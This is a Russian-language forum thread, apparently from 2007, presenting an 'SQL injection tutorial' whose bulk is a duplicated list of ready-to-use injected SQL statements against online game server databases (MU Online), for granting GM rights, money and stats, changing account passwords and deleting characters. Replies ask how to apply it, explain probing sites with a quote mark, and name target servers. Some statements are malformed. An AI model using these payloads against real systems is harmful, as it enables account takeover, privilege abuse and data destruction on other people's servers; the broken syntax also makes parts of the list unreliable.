Tutorial - SQL Injection

Что такое SQL-injection? Это отправка базе данных SQL команды на выполнение через web скрипт, расположенный на доступной рядовому пользователю веб-странице.
Для начала построим цепь, по которой связываются пользователь с базой данных: пользователь заходит на страницу, пишет свое имя и пароль, после нажатие на кнопки типа Submit страница проверяет правильность данных и отправляет данные веб серверу, веб сервер формирует SQL запрос и передает его базе данных (Веб сервер не проверяет, может ли ваш запрос взломать базу данных!), она проверяет запрос и возвращает результат скрипту, который выдает пользователю ответ. Таким образом есть только одно потенциально уязвимое место: передача данных скрипту. Итак, ищем скрипты, которые могут быть уязвимы. А уязвим может быть любой скрипт, который обращается к базе как post, так и get методом.
-
Несколько готовых скриптов к применению
' UPDATE warehouse Set items= 0x WHERE (accountid = 'ACCOUNT')-- (THIS CREATES ITEMS IN YOUR VAULT)
' UPDATE ' DELETE Character = 9 WHERE (Name = 'CHAR NAME')-- (THIS DELETES THE CHAR)
' UPDATE Character Set Money = 10000000000000 WHERE (Name = 'CHAR NAME')-- (THIS GIVES YOU ZEN 1kkk)
' UPDATE Character Set CtlCode = 8 WHERE (Name = 'CHAR NAME')-- (THIS MAKES YOU A GM)
' UPDATE Character Set SET memb_pwd = 'PASSWORD' WHERE (WHERE memb_id = ACCOUNT)-- (THIS CHANGES THE ACCOUNT PASSWORD)
' UPDATE Character Set Experience = '3000000' WHERE (Name = 'CHAR NAME')-- (THIS CHANGES THE EXP OF THE CHAR)
' UPDATE Character Set cLevel = '340' WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER LEVEL)
' UPDATE Character Set Strength = 25000 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER STRENGHT)
' UPDATE Character Set Energy = 25000 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER ENERGY)
' UPDATE Character Set Dexterity = 10000 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER AGILITY)
' UPDATE Character Set Vitality = 25000 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER VITALITY)
' UPDATE Character Set Command = 32000 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER COMMAND, ONLY AWAYABLE TO DL)
' UPDATE Character Set Reset = 100 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER RESETS)
' DELETE Character WHERE (Name = 'CHAR NAME')-- (THIS DELETES CHARACTER TOO)
' UPDATE Character Set MapNumber = '6' , MapPosX = '63' , MapPosY = '1' , WHERE (Name = 'Rush')-- (THIS MOVES THE CHARACTER WHERE YOU WANT, YOU NEED TO BE LOGGED OUT TO USE THIS)
' UPDATE Character Set Class = 8 WHERE (Name = 'CHAR NAME')-- (THIS EDITS WHAT CLASS DO YOU WANT TO BE, JUST CHANGE THE 8 TO SOME OF THE NUMBERS BELOW)
Classes:
DK = 16
DW = 0
Elf = 32
BK = 17
SM = 1
ME = 33
MG = 48
DL = 64
' UPDATE Character Set Life = 100 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER LIFE)
' UPDATE Character Set MaxLife = 100 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER MAX LIFE)
' UPDATE Character Set Mana = 100 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER MANA)
' UPDATE Character Set MaxMana = 100 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER MAX MANA)
' UPDATE Character Set PkLevel = 3 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER PK LEVEL)
' UPDATE Guild Set G_Score = 100 WHERE (G_Name = 'CHAR NAME')-- (THIS EDITS THE GUILD SCORE)
' UPDATE Guild Set G_Name = 'GUILD NAME' WHERE (G_Master = 'GUILD MASTER NAME')-- (THIS EDITS THE GUILD NAME)
' UPDATE Guild Set G_Master = 'GUILD MASTER NAME' WHERE (G_Name = 'GUILD NAME')-- (THIS EDITS THE GUILD MASTER)
' UPDATE EVENT_INFO Set Point = 5000 WHERE (CharacterName = 'CHAR NAME')-- (THIS EDITS THE DS POINTS)
' UPDATE MEMB_INFO Set bloc_code = 0 WHERE (memb___id = 'ACCOUNT')-- (THIS BLOCKS THE ACCOUNT)
' UPDATE Character Set CtlCode = 0 WHERE (Name = 'CHAR NAME')-- (THIS BLOCKS THE CHARACTER 1=BLOCK 0 = NORMAL )
You can make several edits in one time:
' UPDATE Character Set CtlCode = 8,Money = 1000000000,cLevel = '340',Strength = 32000,Energy = 32000,Vitality = 32000,Dexterity = 32000,Class =17 WHERE (Name = 'CHAR NAME')--
' UPDATE warehouse Set items= 0x WHERE (accountid = 'ACCOUNT')-- (THIS CREATES ITEMS IN YOUR VAULT)
' UPDATE ' DELETE Character = 9 WHERE (Name = 'CHAR NAME')-- (THIS DELETES THE CHAR)
' UPDATE Character Set Money = 10000000000000 WHERE (Name = 'CHAR NAME')-- (THIS GIVES YOU ZEN 1kkk)
' UPDATE Character Set CtlCode = 8 WHERE (Name = 'CHAR NAME')-- (THIS MAKES YOU A GM)
' UPDATE Character Set SET memb_pwd = 'PASSWORD' WHERE (WHERE memb_id = ACCOUNT)-- (THIS CHANGES THE ACCOUNT PASSWORD)
' UPDATE Character Set Experience = '3000000' WHERE (Name = 'CHAR NAME')-- (THIS CHANGES THE EXP OF THE CHAR)
' UPDATE Character Set cLevel = '340' WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER LEVEL)
' UPDATE Character Set Strength = 25000 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER STRENGHT)
' UPDATE Character Set Energy = 25000 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER ENERGY)
' UPDATE Character Set Dexterity = 10000 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER AGILITY)
' UPDATE Character Set Vitality = 25000 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER VITALITY)
' UPDATE Character Set Command = 32000 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER COMMAND, ONLY AWAYABLE TO DL)
' UPDATE Character Set Reset = 100 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER RESETS)
' DELETE Character WHERE (Name = 'CHAR NAME')-- (THIS DELETES CHARACTER TOO)
' UPDATE Character Set MapNumber = '6' , MapPosX = '63' , MapPosY = '1' , WHERE (Name = 'Rush')-- (THIS MOVES THE CHARACTER WHERE YOU WANT, YOU NEED TO BE LOGGED OUT TO USE THIS)
' UPDATE Character Set Class = 8 WHERE (Name = 'CHAR NAME')-- (THIS EDITS WHAT CLASS DO YOU WANT TO BE, JUST CHANGE THE 8 TO SOME OF THE NUMBERS BELOW)
Classes:
DK = 16
DW = 0
Elf = 32
BK = 17
SM = 1
ME = 33
MG = 48
DL = 64
' UPDATE Character Set Life = 100 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER LIFE)
' UPDATE Character Set MaxLife = 100 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER MAX LIFE)
' UPDATE Character Set Mana = 100 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER MANA)
' UPDATE Character Set MaxMana = 100 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER MAX MANA)
' UPDATE Character Set PkLevel = 3 WHERE (Name = 'CHAR NAME')-- (THIS EDITS THE CHARACTER PK LEVEL)
' UPDATE Guild Set G_Score = 100 WHERE (G_Name = 'CHAR NAME')-- (THIS EDITS THE GUILD SCORE)
' UPDATE Guild Set G_Name = 'GUILD NAME' WHERE (G_Master = 'GUILD MASTER NAME')-- (THIS EDITS THE GUILD NAME)
' UPDATE Guild Set G_Master = 'GUILD MASTER NAME' WHERE (G_Name = 'GUILD NAME')-- (THIS EDITS THE GUILD MASTER)
' UPDATE EVENT_INFO Set Point = 5000 WHERE (CharacterName = 'CHAR NAME')-- (THIS EDITS THE DS POINTS)
' UPDATE MEMB_INFO Set bloc_code = 0 WHERE (memb___id = 'ACCOUNT')-- (THIS BLOCKS THE ACCOUNT)
' UPDATE Character Set CtlCode = 0 WHERE (Name = 'CHAR NAME')-- (THIS BLOCKS THE CHARACTER 1=BLOCK 0 = NORMAL )
You can make several edits in one time:
' UPDATE Character Set CtlCode = 8,Money = 1000000000,cLevel = '340',Strength = 32000,Energy = 32000,Vitality = 32000,Dexterity = 32000,Class =17 WHERE (Name = 'CHAR NAME')--
-
nanoman :
-This is my sql injection tutorial
-I included gm commands,help,codes
-Download:
Внимание! У вас нет прав, для просмотра скрытого текста.
-
публикация доступна на короткое время, ваши коментарии оставляйте.
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.
#1
vision
| Зарегестрирован:
1.01.1970
| ICQ:
--
vision
| Зарегестрирован:
1.01.1970
| ICQ:
--
#2
trolukasz
| Зарегестрирован:
1.01.1970
| ICQ:
--
trolukasz
| Зарегестрирован:
1.01.1970
| ICQ:
--
mMozes abjasnit plz.. a to ja neponel cio tam razberatsia nada? =]
написано 18 марта 2007 16:49
|
#3
trolukasz
| Зарегестрирован:
1.01.1970
| ICQ:
--
trolukasz
| Зарегестрирован:
1.01.1970
| ICQ:
--
A pacemu tamu wisla blin?
написано 3 апреля 2007 13:50
|
#4
Tomas
| Зарегестрирован:
--
| ICQ:
--
Tomas
| Зарегестрирован:
--
| ICQ:
--
Pomogite mne pozalutsa , kak mne sosdat reg shtobi etot hack pustit mne drug dal 1 reg nu neskazal kak zdelat :( skazite moj skype:superm
an5094 ocen prashu ocen ocen budu ocen blagadaren PLZ SKYPE:superm
an5094 , or email:shumax
eris@bk.ru Pomogite mnbe
an5094 ocen prashu ocen ocen budu ocen blagadaren PLZ SKYPE:superm
an5094 , or email:shumax
eris@bk.ru Pomogite mnbe
написано 16 апреля 2007 23:06
|
#5
_Xakerus_
| Зарегестрирован:
3.03.2007
| ICQ:
--
_Xakerus_
| Зарегестрирован:
3.03.2007
| ICQ:
--

Блин... прощу говоря, заходишь на веб и пишешь ' (одну ковыйку) везде где только можешь. выскакивает чтото типа "Sql Error" - скрипт имеет уязвимость... дальше все понятно =) Например вместо той ковычки вводим код указаный в 1 сообщеньии.
написано 6 декабря 2007 23:42
|
#6
fudus
| Зарегестрирован:
1.01.1970
| ICQ:
--
fudus
| Зарегестрирован:
1.01.1970
| ICQ:
--
Блин... нашел сайт, пробую - пишет "Sql Error" все делаю как и покзано и написано... нифига не выходит. подскажите что и как точно нужно делать
написано 17 декабря 2007 10:32
|
#8
2387808
| Зарегестрирован:
1.01.1970
| ICQ:
--
2387808
| Зарегестрирован:
1.01.1970
| ICQ:
--
Как отбить етот баг подскажыте пожалуста отправте мне на мыло
написано 15 января 2008 23:21
|
#9
NewPL
| Зарегестрирован:
1.01.1970
| ICQ:
--
NewPL
| Зарегестрирован:
1.01.1970
| ICQ:
--
ето очень полезно но у меня вопрос: работает ли та тема на 0.8 веб?
написано 9 марта 2008 20:24
|
#10
Dark_Ares
| Зарегестрирован:
22.05.2008
| ICQ:
--
Dark_Ares
| Зарегестрирован:
22.05.2008
| ICQ:
--

где я должен писать эти скрипти???
подскажите
PLZ!!!!
подскажите
PLZ!!!!
написано 22 мая 2008 23:23
|
#11
Canon
| Зарегестрирован:
12.04.2008
| ICQ:
--
Canon
| Зарегестрирован:
12.04.2008
| ICQ:
--

Помагите мне пожалусто!
!!!! те у каво получилось
можете попробоват
ь на mu-nightma
re.in email andronix_0
8@mail.ru
!!!! те у каво получилось
можете попробоват
ь на mu-nightma
re.in email andronix_0
8@mail.ru
написано 25 мая 2008 23:23
|
#12
TheLord
| Зарегестрирован:
14.07.2008
| ICQ:
299801977
TheLord
| Зарегестрирован:
14.07.2008
| ICQ:
299801977

Короче такое дело... все сделал так как сказано...
все сходится..
. ток не сходится то, что я не становлюсь
ГМом...
Может кто-то сказать, какова может быть причина моего провала? И может ли сервер иметь защиту от этой хрени...
все сходится..
. ток не сходится то, что я не становлюсь
ГМом...
Может кто-то сказать, какова может быть причина моего провала? И может ли сервер иметь защиту от этой хрени...
написано 14 июля 2008 06:27
|




Mne v http://www.sakamu.ro polu4ilosj :)
написано 14 марта 2007 08:17
|